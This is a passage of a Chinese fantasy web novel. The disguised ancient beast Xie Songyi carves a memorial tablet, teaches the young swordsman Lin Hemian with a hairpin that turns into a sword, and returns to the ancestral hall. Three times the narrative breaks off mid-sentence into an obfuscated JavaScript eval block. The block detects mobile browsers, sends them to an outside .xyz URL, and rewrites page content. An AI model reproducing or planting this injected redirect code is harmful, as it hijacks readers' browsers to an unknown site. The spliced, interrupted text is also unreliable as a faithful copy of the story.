灵识抖的更厉害了,低声辩解道:“他年纪大了嘛这不是……体谅一下?而且这祖宗自己要跪的,其实他……” 谢行错挑眉,嘴角微微上扬,很明显是被气笑了:“其实他可以不跪?” 灵识怂兮兮地点头。 谢行错勾起的嘴角抿成了一条直线。 放屁的不跪! 谢松意现在不能暴露身份,须臾山又是见清的地盘,不跪哪行? 这也是个没脑子的! 谢行错抬起手:“我想先体谅你一下。” 灵识忙捂着脸:“错了错了,老祖别打我!” 与供桌上的热闹场面不同,供桌下一片沉默。 谢松意看看谢行错的灵识又看看林鹤眠,最后将目光落到脸气得发紫的见清身上,两手一摊故作委屈:“你让我跪的……” 见清身上突然溢出浓郁的灵气。 林鹤眠见状,忙从蒲团上爬起来,谢松意话还没说完,只觉袖口一紧,被林鹤眠拽着跑了。 “我草师父彻底生气了,咱俩先跑吧!” 林鹤眠逃跑还是挺厉害的,人化成一束光直接飞到鸿福客栈去了,天上的鸟都差点被撞飞。 “你……你们……” 见清追出门外,二人早已不见踪影,他被气得说话都说不利索。 “好了,牌位裂了还能修,没事的。” 谢行错的声音传来。 他再气也没用,干脆把气给咽回去,见清听他开了口才稍微收敛脾气走进去。 “我给您再做一个牌位。”见清道。 “松意会帮我再做一个的,你不用管。” “行错老祖,他到底是何来历?” 谢行错闻言,望着远方清澈的天,恍惚想起他与谢松意分别时也是这样的天。 那日一别,谢松意便没日没夜的守在通天墟,他至死都未曾与谢松意再见一面。 一晃几百年过去,没想到还能再见面,想来是出了大事,便笑道:“他是我的故人,如今离家入世,还人间清明。” 见清会意,不再询问,施法修复了其他牌位后拱手告辞。 鸿福客栈 “所以,你们两个炸了通天墟后又把须臾山祠堂的牌位炸了?” 老板爽朗的笑声在屋内久久回荡,林鹤眠黑着一张脸听他笑,谢松意依旧镇定自若的喝茶。 林鹤眠瞟谢松意一眼,说:“炸祠堂牌位的是他不是我。” 谢松意放下茶杯,回怼道:“炸通天墟的是他不是我。” “你让我修的封印。” “你师父让我跪的祠堂。” “哎哎哎,”客栈老板忙出声止住两人,生怕他们打起来,“行了行了,鹤眠一个小孩子,你和他争什么。不过鹤眠你也真是的,通天墟炸了就赶紧跑,写信告诉你师父干嘛?” “坦白从宽,隐瞒从严。通天墟被炸各宗门肯定会知道的,如果我隐瞒不说被他们查出来,那师父可能就不只是罚我跪祠堂那么简单了。” “那些妖去方向是古战场。”谢松意冷不丁说了一句。 “你的意思是他们要去拜长生?”林鹤眠不解。 谢松意呷了口茶:“可以这么理解。” “妖求什么长生?” 客栈老板笑道:“你还是太小了,阅历不够,他们不一定是去求长生呢。妖可以通过吸食同类妖气提高自身修为,说不定他们是要去斩长生。” “那不行,斩长生是我的活!” “好小子,有志气!”客栈老板以茶代酒将杯子递给林鹤眠,“喝吧,上好的明前茶。” 林鹤眠接过去呷了一口,道:“确实不错。” 谢松意心说什么叫不错,他选的茶,都是上品中的上品,一般的他才不喝呢,这小子真没品! 客栈老板似乎是知道他在想什么,又笑起来,无奈摇头。 谢松意这少爷做派估计是改不了了,但凡谢行错当年不依着他,这家伙也不至于到现在还这么挑剔。 当晚,须臾山 “师父您的手怎么一直在抖啊?”清玲看着他师父,一脸疑惑。 见清背后冷汗直冒,明明怕的要死,却依旧嘴硬说:“我没事,就是有点冷。” “冷?”清玲看向天空,星子稀疏,月色皎洁,风也不大,“又不是倒春寒天也没阴,师父你怎么会冷?” “你这丫头,一边玩去!” 清玲一撇嘴,跑了:“不说就算了,我找二师姐去!” 见清等清玲跑没影,才空出手抹了一把汗。 他从祠堂回来后才想明白,那谢松意活脱脱一妖界祖宗,还是古兽级别的。 让他下跪堪比让皇帝跪百姓,那他妈是有脑子的人想出来的吗? 他想明白了以后手就一直抖,没停过! 外面的蛐蛐叫唤起来,见清被吓到,手一抖,毛笔掉在地上,他赶忙去捡。 蛐蛐依旧叫着,鸿福客栈草窝里有不少。 谢松意坐在厢房外的院子里刻牌位,蛐蛐的叫声时高时低,他的手抖都不带抖一下的。 林鹤眠怎么想怎么觉得今天的事情不对劲,刚好如厕回来发现院子里有人,那人正是谢松意,便走了过去。 “你这是……”林鹤眠扫了一眼桌子上的工具,大抵猜出了谢松意在干什么,只是不确定,“在刻牌位?” “嗯。”谢松意点头。 林鹤眠心说谢松意居然会这个,这还是那位矜贵的谢公子么? 谢松意不抬头都知道他在想什么。 林鹤眠对他来说就是一小屁孩,又年方及冠,心里话都是写在脸上的。 “你觉得我不像会做这种事的人?” 心中所想被人揭穿,林鹤眠别过头去,狡辩道:“我可没这么说。” 谢松意只是笑笑。 林鹤眠又扫一眼桌面,这才发现谢松意刻牌位用的是金丝楠木。 “你用金丝楠木刻牌位?” “不行?”谢松意抬头,对上林鹤眠的眸子。 少年的眸子也是藏不住话的,月光一照,那眸子干净的像盛着光,什么都能看出来。 “这种木头圣人都一木难求,你怎么搞来的?” “老板找的。”谢松意继续低头刻字,刻完一个字,他又说,“楠木正直坚毅,生命力顽强,像他。金丝楠木名贵,他应当用这么好的。” 林鹤眠知道这个“他”指的是谁,毕竟在场的牌位只有谢行错的被跪炸了,但这谢松意好像很了解他那位行错老祖。 “你好像很了解行错老祖?” “我祖上留下的书籍里记录了他的事迹,所以大概了解一些。” “你祖上是干什么的,居然能把行错老祖的事记录下来?” “写书的。坐下吧,站着说话累脖子。”谢松意一挥手,一张椅子就出现在林鹤眠身后。林鹤眠也不客气,直接坐上去了。 他单手撑着下巴看谢松意刻字,对谢松意的身份也更加好奇。 谢松意不经意间抬头,林鹤眠没来得及收回目光,二人四目相对。 那一瞬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014044|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林鹤眠竟生出一种错觉。 谢松意这样的人,应是见惯了生离死别的,眉眼间不经意流露出的是漫长岁月的沉淀。 这样的人,可以视时间为过客。 而他,万古长存。 风吹过耳畔,林鹤眠似乎从那双眸子里看到了流转的光阴。谢松意身后几缕青丝随风飘飞,白玉簪子发出温润的光,他眉眼间总带着一种淡然与温和。 “怎么又盯着我?” 林鹤眠一个哆嗦,这才发现自己刚才一直盯着谢松意看。 他佯装无事发生,心却乱了,撇撇嘴不屑地说:“我才没盯着你。” 谢松意又笑,笑完,他继续低头刻字。 林鹤眠趁他低头又将目光落在他身上,心中疑惑久久不散。谢松意刻完最后一笔时,他终于开口了:“你真的只是一介散修?” 谢松意将牌位放在桌上仔细端详,金丝楠木制成的牌位在月光下像流淌的黄金。 他摇摇头,道:“不是。” 林鹤眠不自觉的凑近几分:“那你是什么人?” 谢松意推开他快要凑到自己脸上的脑袋,面无表情道:“我是你师兄。” 林鹤眠:“……” 呵,我就知道! “你半夜不睡觉,就是为了过来问我我是什么人?” “我才没有。只是刚才准备回去睡觉时看到你了,就过来看看你在做什么。” “我该做的都做完了,”谢松意起身,收了牌位就要走,“你也看完了,还不回去睡觉?” “你还没教我剑术。” 谢松意心说你还挺好学,但谁家好人大晚上学剑啊,你不睡我还要睡。 他随手摘下盘发的玉簪丢给林鹤眠。 林鹤眠起身接住,正疑惑谢松意是何意,只听他道:“什么时候能用我这簪子耍一套须臾山的基本剑法了,我就什么时候教你。” “簪子怎么耍剑法?” 林鹤眠拿着簪子左看右看,心说这玩意和普通簪子好像也没区别啊,不过上面的镂空云纹还挺精致,倒是符合谢松意。 “用手耍。” “用手?” 林鹤眠胳膊向前一甩,簪子瞬间变成一柄剑,剑刃闪着寒光,白玉剑柄上雕着云纹。 白玉生凉,握在手里那种温润光滑的触感和丝丝凉意像是在挠痒痒,自掌心缓缓蔓延到全身。 林鹤眠出剑带风,谢松意散着头发,剑刃正对他的眉心,风一吹,几缕头发四散飘摇。 “干什么,”谢松意两根手指夹着剑刃挪到一旁,“你准备欺师灭祖?” “你这剑耍起来很容易手滑啊。” 谢松意转身离开:“所以你得握紧了,可别脱手。” 林鹤眠收了剑,翻来覆去的看这支簪子,在谢松意的身影快消失前问了一句:“你这剑原形是簪子,会被摔碎的吧?” 谢松意转头,用一种看傻子的眼神看林鹤眠,道:“我就这一支簪子,哪能让它轻易碎了?” “真的假的?” 谢松意“啧”了一声:“碎了算你有本事,我认你做师兄!” “那你把唯一的簪子给了我,你束发用什么?” “用发带。”谢松意又“啧”一声,他第一次觉得林鹤眠问题这么多,“你到底去不去睡觉?” “不去。” “我要去,告辞!” 谢松意甩手走了。 林鹤眠耸耸肩,对这位谢师兄表示不屑。 他又甩那支簪子,结果手滑,簪子变成剑直接飞出去了,径直冲向厢房。 恰巧客栈老板刚开门就看到一把剑冲向自己,他忙侧身躲过,剑直直刺入墙中,足以看出使用者力道之大。 5. 第五章 那一瞬,老板把自己见过的所有人都想了一遍,挨个排查自己是不是得罪谁了。 林鹤眠一脸歉意的冲老板尴尬的笑:“不好意思,手滑没握住。” 老板闻言,四下扫了一圈,没看到那个青色的身影,心说好你个谢松意,自己走了留个小屁孩谋杀我是几个意思? 林鹤眠施法收回那柄剑,剑飞到他手里成了一支玉簪,老板这才明白原来这小子是在和谢松意学剑呢。 看得出来林鹤眠是个有上进心的,奈何上进途中不知是被谢松意那张脸勾了魂还是有受虐倾向,上进到和谢松意学剑来了。 “我说林少侠,和松意学剑,你是有多想不开?” 林鹤眠不解,木讷的说:“不会啊,我觉得还好。” 老板扶额:“真是没救了,你到底为什么会想和他学剑……” “可能……”林鹤眠认真考虑一番,一个小灯泡突然亮起来,他恍然大悟道:“可能是因为我想不开。” 老板:“……” 老板无话可说,他看着眼前的少年,忽的想起今天那个说要斩长生的孩子,笑道:“林少侠,你莫不是想用松意教的剑术斩长生?” 林鹤眠要是点头他会笑话谢松意一辈子。 教别人剑术用来杀自己,纯属没事干! 林鹤眠摇头:“不,我只是想学而已,我会用属于自己的一招一式杀了那只古兽。” “你为什么要斩长生?” “书上说长生仗着妖力通天无恶不作,它是祸害,所以我要杀了它。” 老板闻言浅笑,林鹤眠的眸子里的坚毅和少年意气被他尽收眼底。 “可其他人不这么想,他们甚至会去求长生赐予自己无尽寿数。” “谁知道他是不是骗人的,等我找到他我就看看,要是骗人的,我就杀了它。” “如若不是呢?” “那我也杀。凡人寿数有限,妖才能长生,况且他是无恶不作的古兽。” 老板原本想问林鹤眠为何这么确定长生无恶不作,书中所记一定是真。 但他猜这孩子自己都没想好答案,也就不为难他,换了个问题问道:“中间两句我没猜错的话是松意告诉你的吧?” 林鹤眠点头,片刻后,他又补了一句:“我一定会杀了长生。” 少年的目光炯炯有神,不知是谁掬了一捧装着几点星子的水,清透明亮,不输通天墟古兽境里最甘冽的清泉。 老板脸上笑意未褪,他大抵知道谢松意为何肯教林鹤眠剑术还提醒他人与妖的区别了。 他不知道林鹤眠是否向往长生,但从这孩子斩长生的志向来看,至少如今众人所向往的长生之术他并不想要。 当然,也可能是因为他觉得此术有风险不值得去获得。但凡事皆有代价,想不劳而获纯属无稽之谈,求长生之术也一样。 谢松意虽然有时嘴巴毒,但他这样惜才的人,遇上林鹤眠这种天生剑胚又志在海晏河清的少年,肯定是愿意倾囊相授的。 告诉林鹤眠人与妖的区别也是为了让他坚定走自己的道,他日不要陷入长生陷阱中,毕竟因渴求长生而白白丧命的天才修士也大有人在。 书上穷凶极恶的古兽长生,在他眼里却是一位矜贵孤独、温和文雅的公子。而那位自称万寿主的冒牌货,才是真正的穷凶极恶。 每每想到这种反差老板都会感慨,感慨之余更多是替谢松意感到不公,谢松意却总是一如既往的平静,面上没有任何情绪。 也对,要是能被他看出心中所想,那就不是他认识的谢松意了。 老板自嘲般笑了起来,施法收走林鹤眠身旁的桌椅木屑和刻字工具,笑道:“斩长生可以,但别说出去。既然决定好要做什么了,那就坚持到底,莫失了本心,修行之路一步行差踏错便是万丈深渊,切记。” 林鹤眠:“???” 虽说老板的话有几分道理,但这突然的说教是怎么回事?他想问老板,但老板早已关了房门,不一会,屋内就熄了烛火。 林鹤眠看着那支玉簪,反复揣摩老板的话,总不明白什么意思。他回到客房,点了烛火,依旧没有想明白,见谢松意房间还亮着灯,就传了一个纸鹤过去。 谢松意刚沐浴出来,脸颊染了一抹绯红,锁骨处的水珠还未擦干,见林鹤眠传信过来,随手拆开。 上面写了几个字:“老板和我说了一些奇怪的话,我不理解。” 谢松意冲那一行字翻了一个白眼,心说你倒是把话写出来啊! 谢公子惜字如金的写了一个“话”字给林鹤眠传过去了,嫌林鹤眠写字太慢又给老板传信,纸鹤两头跑,小翅膀扑腾的贼有劲。 老板睡的沉,纸鹤停他脸上,翅膀轻轻一拍就是一巴掌,老板被拍醒,睁眼看到一只纸鹤正对着自己,就这纸鹤的作风一看就知道主人是谁。 他不耐烦的起身,拆开纸鹤扫了一眼里面的内容,直接给谢松意传音把对林鹤眠说的话复述了一遍。 谢松意听完传音,冷笑着回了一句:“你倒是比我还会教他。” “哎呀,过誉了。谢公子,这么夸我怪不好意思的。” 谢松意:“……” 是夸你的话吗你就过誉了! 老板当然知道谢松意在嘲讽他,但他就故意这么说。 面对谢松意的嘲讽,最好的解决办法就是坦然接受,只要足够不要脸,谢松意就拿你没办法。 这是经验之谈。 谢松意没再理会某不要脸的老板,拆开林鹤眠传来的纸鹤,粗略扫了一眼上面的内容,除了把老板的话复述一遍以外,他还补了一句。 “其实后面我能理解,但为什么老板不让我说出去。” 谢松意心说因为我就是你要斩的那位长生,不让你说出去是因为万一被别的小妖听去了容易被他们灭口。 毕竟那些小妖不知道他们祖宗知不知道有人要杀他,也不能看着他们的祖宗被一个小屁孩杀了,所以一旦发现有人对自家祖宗有威胁,包动手的。 而且不管这小孩现在有没有威胁,该杀就杀。毕竟谁都不确定以后会不会有,快刀斩乱麻才能避免夜长梦多。 不过现在除了小狐妖,其他妖可能没想到,祖宗本人不仅知道有人要杀自己,甚至还教对方剑术。 要是被那群小妖知道了,他们估计得排队跳崖。 因为祖宗疯了他们就不用活了,遇到危险没人救。 但前提是你没做过伤天害理的事。 毕竟真论除妖,说句实在话,几百个修士加起来都没这位祖宗一人除得多。那满身的妖气,天王老子看见都得后退八百米,省得自己一不小心沾上点就被吞了。 但谢松意没这么说。 “三百年来龙椅上换了多少人,没一个禁止拜长生。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014045|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说明他们也想要长生,只是现在风险太大他们不敢轻易冒险。你要是把斩长生的事说出去,被他知道了,早晚出事。” 林鹤眠拆开谢松意传来的纸鹤,认真看了上面的话,觉得有道理。 一阵风吹过,他有些冷。 怕是要倒春寒。 倒春寒说来就来。 昨晚只是起了些风,第二天一早,林鹤眠刚打开窗户,刺骨寒风就扑面而来,他忙关了窗户,换上厚衣服,又穿了一件黑色斗篷裹在外面才肯下楼。 拜长生的人昨日就出发了,人一走,客栈显得空旷了许多,也多了几分清静。 刚下楼,便看到谢松意穿着一件绣着金色云纹的白色斗篷坐在楼下喝茶看书。 他依旧是半扎发,束发用的发带也是白色,只是发带末端用红线和黑线绣了一枝红梅,十分惹眼。 老板在前台帮着记账,见林鹤眠下来,笑着问:“林少侠,可要吃些什么?” 林鹤眠回道:“随便什么都可以。” “行。”老板放下账本去吩咐后厨,不多时便出来了,脸上依旧挂着笑,“你这几天的吃住费用算我请你的,不用付钱。” “请我?”林鹤眠不解。 “你帮我带回圆石,我总得谢你一番。” “举手之劳,您不用请我。”林鹤眠下了楼,老板示意他坐谢松意对面。 谢松意瞥他一眼,道:“老板不喜欢欠别人,这次请你是为了还恩。你现在拒绝,他日有机会,老板还是会想办法还的。” 林鹤眠依旧坚持自己的想法,说:“顺手而为的事,真的不用他请。” “老板是生意人,”谢松意端起茶盏轻呷一口,继续说:“在商言商,要么两不相欠要么各取所需是他的为商之道,难道你指望让一个利益为重的人欠你一个很难有机会再还回去的人情么?这样只会违背他做生意的原则。” 林鹤眠扫一眼专心看书的谢松意,又看向笑着的老板,老板冲他摇头示意不要拒绝。他没再说话,权当是默认了,单手撑着下巴看谢松意看书。 老板知道他没拒绝,回到前台继续记账去了。 谢松意眸子半垂,眼中情绪看不分明,苍白修长的手指握着书卷,这倒是让林鹤眠好奇他看书时在想什么了。 “我脸上有东西?”谢松意突然抬头。 林鹤眠忙坐直了身子摇头道:“没有!” 谢松意无奈叹气:“不知我是有什么吸引你的地方,能让你次次盯着我看?” 林鹤眠心说当然是你这张脸啊,虽然算不上美人级别,但看了就让人舒心,当然得趁机多看看。 但林鹤眠是不会这么说的,除非他想挨骂了。然后林少侠果断给自己挖了一个坑,说:“我只是好奇你看的书。” 谢松意笑着将书递过去,道:“这样啊,那我借给你看看。” 林鹤眠扫一眼谢松意确认他没打什么坏心思后才接过书,然后发现上面全是古文字。 林鹤眠:“……” 谢松意右手撑着下巴,左手食指有一搭没一搭的敲着桌面,笑里带着几分玩味,颇有兴致的盯着他,说:“书都给你了,看书别看我,我脸上又没字。” “林师弟,你怎么看个书怎么还把脸给看黑了?” 林鹤眠:“……” 哪有坑赶紧的,他不要棺材,就地一埋什么都不用担心。 6. 第六章 老板实在是看不下去某百年老妖逗小孩的行为,索性端着托盘将饭菜放在二人中间,把林鹤眠手里那本书抽走了。 “先吃饭吧,别看了。” 谢松意没说话,端起一碗粥用勺子舀了一些放进嘴里。甜腻感在口腔中散开,谢松意不由得皱眉,将粥递给老板,道:“太甜了,换一碗。” 老板拿了一个新勺子尝了一口,心说对谢松意来说确实太甜了,就把谢松意那碗粥端走,干脆自己进后厨又做了一碗。 林鹤眠也尝了一口,不解道:“我觉得甜度可以啊……” 一旁的尖石忍不住开口:“林少侠您有所不知,谢公子挑剔,他这人规矩可多了。” “我知道。” 尖石拨算盘珠子的手停下来,诧异的看向林鹤眠:“您知道?” 圆石看不下去,重重拍了一下尖石的胳膊,骂道:“你怎么这么笨?!谢公子这穿着,明眼人都看得出来是个什么人,林少侠肯定也第一眼就看出来了!” 尖石若有所思的点头:“有道理。” 老板突然从后厨走出来,问道:“你们聊什么呢,账都不算了。” 尖石一看老板出来了,当即低下头,对着账本继续拨算珠去了。 林鹤眠有些惊讶:“做这么快?” “锅里有正煮着的,只是没加糖,熟了我就盛出来了。” 老板说起谎来毫不心虚,甚至因为他脸上带着笑意,林鹤眠竟也没怀疑。 其实后厨就做了那么点粥,这碗是他用妖力煮的,所以熟的很快。 老板笑着放下粥,又给谢松意拿了一个新勺子,问:“知道跑出来的妖是谁了没?” 谢松意又尝了一口粥,确认甜度没问题后才开口,说:“知道,下午就去除妖,然后就去拜长生,不回来了。” “你会带我去的吧?”林鹤眠问。 谢松意无奈,笑着问:“我像是乱丢小孩的人么?再说了,我都说要去拜长生了,自然是要带上你的。” 林鹤眠一听谢松意说自己是小孩,不服气的说:“看样貌你顶多也就比我大那么两三岁,怎么好意思说我是小孩的?” 谢松意没理他,心说你爷爷的爷爷在我面前都算小孩,没叫你小小孩都不错了,你还不服气了。 老板怕这俩人争起来,忙开口道:“既然你要下午走,那我去准备些银两,不然住客栈没钱就麻烦了。” 拜长生的活动已经持续了三百年,那些商人都精明的很,硬是在去往古战场的那条路开了不少客栈,被人们戏称为“栈道”。 所以拜长生不仅要看机缘,还得看财力,不过最重要的还得是运气。 若是修士,倒不必担心这个问题,但普通人就不一样了,指不定还没走出某片树林或者某座山,自己就先被突然蹿出来的妖怪杀了。 但比起可能会杀死自己的妖怪带来的恐惧,无穷无尽的寿命更具诱惑力。 好多人都抱着侥幸心理去拜长生,倒是便宜了不少妖怪。 “你和老板到底是什么关系?”林鹤眠看着上楼准备银两的老板,疑惑的问谢松意。 谢松意抬起头,说:“我和老板只是朋友关系。” “朋友?”林鹤眠挑眉,“我好像没听过你喊老板的名字,你一直喊他老板,他没名字么?” 谢松意咽下最后一口甜粥,叹气道:“你若真想叫他的名字,叫他闻人老板就可以,不想叫就直接叫老板。” “他姓闻人?” “可以这么理解。”谢松意拿出帕子擦嘴,随后起身离开。 “你去哪?” “去送牌位。” “我也去。” “你想气死你师父?” “明明是你气的好吧,你去了他才会被气死呢!” 林鹤眠忙放下勺子跟出去,谢松意见他跟过来,无奈道:“我就去送个牌位,一会就回来了,你没必要跟过来。” “须臾山是我家,你回我家给我老祖送牌位,我哪能不跟去?” “你家?” 谢松意蹙眉,他以为林鹤眠只是寻常人家送到山上做了修士的孩子,但现在看来并不是这样。 “嗯。”林鹤眠点头,“四岁那年父母为了保护我惨死在妖邪手上,后来遇到师父我就跟他上了山,从此就把须臾山当家了。” “师父对我特别严格,师兄师姐都说因为我是天生剑胚,师父想好好磨练我,把我捡回来也是因为这个。” 说完,林鹤眠苦笑一声,又补充道:“我当时觉得天生剑胚这种体质真不好,让我遇到了师父这种立志出高徒的严师。但后来我发现其实我还挺幸运的,因为这四个字让我活了下去。” “还有那么多像我一样因为妖邪无家可归的孩子,明明相同的年纪,他们却没有遇到一个能把他们带回家的人,只因他们没有所谓的天生剑胚,甚至有些孩子等不到人来带便没了性命。” 林鹤眠声音里带着细微的哭腔,声音也有些沙哑,他说起那些孩子时总会忍不住鼻尖一酸,但每次都把眼泪憋了回去,那些眼泪也就在眼眶里打旋,从未流下过一次。 谢松意始终面无表情,许是为了等林鹤眠恢复情绪,片刻后,他才开口:“那就珍惜天生剑胚带给你的活命机会,用你手里的剑斩妖除魔,让更多孩子不再颠沛流离。” “我知道。”林鹤眠笑起来,“所以我才要斩长生,那么多人因为他家破人亡,我怎么可能放过他。” 谢松意低声轻笑,道:“林师弟,你还挺好哄的。既然不哭了,那就快点陪我去送牌位!” 谢松意一挥手,林鹤眠只觉身体一轻,二人眨眼间便来到须臾山祠堂。 其余老祖的牌位早已修好,只有谢行错那个位置还空着。 谢行错的灵识看到一白一黑两个身影走进祠堂,不由得一怔。 刹那间,他仿佛回到了三百年前。 三百年前,谢松意也穿着这样的斗篷,那时他还没有姓,只有松意二字做名字。 那天的谢松意独自站在洄溪边,残阳火红,像古兽尸体淌出的鲜血,铺在水面就成了一滩血水。 那年的五月也有一场倒春寒,甚至严重到落了雪。 水面并未结冰,积雪堆在大小不一的鹅卵石上,有些地方没盖住,露出灰白色的石尖来。 金线绣出的云纹因染了鲜血而变得颜色暗沉,若是忽略那一抹触目惊心的红和金色云纹,任谁看到谢松意都会以为是雪里长了个人出来。 那天变故太多,他匆忙赶到洄溪,却看到一只古兽躺在谢松意身旁。那只古兽满身伤痕,有些地方甚至露出了里面的血肉,早没了气息。 “松意……”不知过了多久,谢行错才找回自己的声音。 谢松意冷笑一声,哑着嗓子怒吼:“那些该死的人,一个都不能活!” “我知道你想报仇”谢行错几近哽咽,“但你别活在仇恨里。” 谢松意闻言,只是一声苦笑:“我的一生何其漫长,把这无尽的寿数用在仇恨上多没意思,我不会这样的。” 谢松意顿了顿,又道:“如果这就是我们的命数,那么长生一脉,还是不要繁衍了。” 谢行错几乎心痛到说不出话来,谢松意却笑着,那双凤眼里带着恨意与不甘,说:“我会成为世间最后一只长生,杀戮与仇恨,都由我亲自终结。” 那天残阳似血,谢松意在他面前立誓,要断掉以后的仇恨与杀戮,他为自己的誓言付出惨重的代价,却也真正做到了。 史书说他斩杀了世间最后一只古兽长生,他不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014046|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是谁编纂的用以谎言蒙蔽世人,想改也改不了。 他现在只是一缕灵识,史书在皇宫,几百年前流传至今的东西,且不说圣人是否允许他改,单是放任拜长生这一行为来看,圣人就不可能让他改。 他若没求长生的私心,早就禁止拜长生了,史书上的谎言,不正好有利于他求长生么? 衍国可以修行,人妖共存,既然这些都有了,那么求长生的机会为什么不可以有?真正的神仙又为什么不可以存在? 他们都在赌那位万寿主是真正的神仙,妄想借此打破生老病死的自然规律,所以即便路上如何艰辛危险,也阻止不了人们求长生的心。 而宫里那位圣人,自然也乐见其成。没人求到他可以等,有人求到他可以问。 其实每年都会有人求到,只是没了去向。人们都说他们是成了仙一步登天了,在天上不愿下来。 人们在赌,赌自己能求到长生。圣人在等,等一个求到长生还能再回来的人,然后问他求得之法。 他是一国之君,生杀予夺的大权握在手里,他问了,谁敢不说? 谢行错自嘲的笑了一声,突然觉得做一缕灵识也没什么不好。 这人间太混沌,他就待在祠堂里,透过那一扇门就能看到须臾山的春夏秋冬,偶尔逗逗来祠堂罚跪的晚辈,和那些老祖或者后来的掌门说说话。 时间的流逝不会在他身上留下任何痕迹,他可以不被世俗困扰,倒也清闲自在。 “在想什么?” 谢松意清冷的声音传来,谢行错回过神来,瞥金丝楠木制成的牌位一眼,又看向谢松意,笑道:“我在想你什么时候来给我送牌位。” “今天。” “嗯,”谢行错点头,“我看到了。” 林鹤眠跟在谢松意身后,他趁着二人聊天环顾四周,发现老祖们不论年龄大小,除了谢行错之外,都悄悄盯着谢松意,个个鹌鹑似的窝在牌位上飘着,大气都不敢出。 林鹤眠:“……” 林鹤眠挑眉,他觉得这些老祖应该是害怕谢松意再给他们的牌位跪裂缝。 “通天墟封印为什么会炸?”谢松意问。 “这个啊……”谢行错不好意思的挠了挠头,“当初我设封印的时候沾了点妖气没来及处理,用禁术时灵力不纯粹,我估计鹤眠这孩子的灵力太纯粹了,封印本体蕴含的妖气无法承受,消散之际就连同封印一起炸了。” “没道理啊。除妖或多或少都会沾染些妖气的,鹤眠这孩子怎么可能会丝毫不染?”最后一个牌位上的灵识对林鹤眠上下打量一番,发现他身上没有任何妖气。 林鹤眠也疑惑:“可能因为我是天生剑胚,妖气不能影响我?” “不可能。” 谢松意摇头,他这几百年来也见过不少天生剑胚的人,但没有一个会因为这种体质而不受妖气影响。 除非…… 谢松意猛地回头,他想起什么似的问林鹤眠:“你师父是从哪把你带回来的?” “不知道,我醒来就在须臾山了。” 其实他也挺想知道师父是从哪里把他带回来的,他记忆不全,只记得父母为了保护自己被长生害死,而后就是几百年的沉睡。 前者他可以说出去,但后者是他埋藏最深的秘密。 以前是因为他认为自己一介凡人活了几百年,说出去大概率会被当做妖。 但谢松意给他传信后,他找到了一个新的理由。 如果自己的事被传出去,圣人肯定会有所耳闻,到时候难免会找上他,这一找,怕是要生出许多麻烦。 但看谢松意刚才的神态,他好像知道些什么。 或许,谢松意和自己一样,都是因机缘巧合无法沾染妖气的受害者;又或许,他是妖? 7. 第七章 林鹤眠始终无法对谢松意的身份妄下结论,谢行错轻咳一声,将他唤回神,问道:“鹤眠,你可知你师父去了哪里?” “师妹昨日来信说师父去了烟帐山和各宗掌门商讨通天墟的事,估计这几天是回不来了。” “那就不问了,”谢松意道,“我没时间等他回来。” 林鹤眠跟着点头:“我也是,不会沾染妖气是好事,问不问对我来说不重要。” 其实问不问挺重要的,但重要程度远不如斩长生和寻找那只炼毒的妖。 “不问也行,不过你这孩子也该回来了吧,清玲那丫头说你下山快半个月了。”第一个牌位上的灵识说。 “老祖,我就是来送牌位的,回来的话,得四个月后了。” “四个月后!你小子要在山下安家啊?”第三个牌位上的灵识眼珠子都瞪出来了,惊讶之后,他才想起不对劲的地方,问道:“不对,你去通天墟修封印做什么?” 谢松意扶额叹气:“不是他去修封印,是我带他去修封印。有只小妖跑出来祸害人,我本想去看看是谁,顺便修补封印,结果封印炸了。” 谢松意特意在“妖”字前加了个“小”字让这些灵识把心放在肚子里,表示真正的封印好着呢,那些大妖没出来。 其他灵识似懂非懂地点点头,第一个牌位上的灵识又问:“你下山历练要这么久?” “没,这不是拜长生开始了嘛,我是去斩长生的。” “斩长生啊……”第一个牌位上的灵识欣慰的点点头,心说这孩子有志气,但是这话怎么听怎么奇怪。 他突然意识到了什么猛地睁大双眼:“等会!你要斩谁?!” 林鹤眠觉得他这些老祖今天很不对劲,时而像鹌鹑时而像蚂蚱的,但这里面有个老祖脾气爆的很,他不敢这么说,只能乖乖把刚才的话重复一遍:“斩长生啊。” 诸位老祖你看看我,我看看你,最后扫了一眼谢松意,将目光落到谢行错身上。除了谢行错,他们都统一黑着脸。 谢行错两手一摊,笑着说:“看我干什么,我又不是长生。” “别黑着脸啊,鹤眠这孩子志存高远是好事,你们干嘛一副要奔丧的表情?” 谢松意轻咳一声,也笑起来,道:“有志不在年高,确实该夸,都别黑着脸了,来夸几句。” 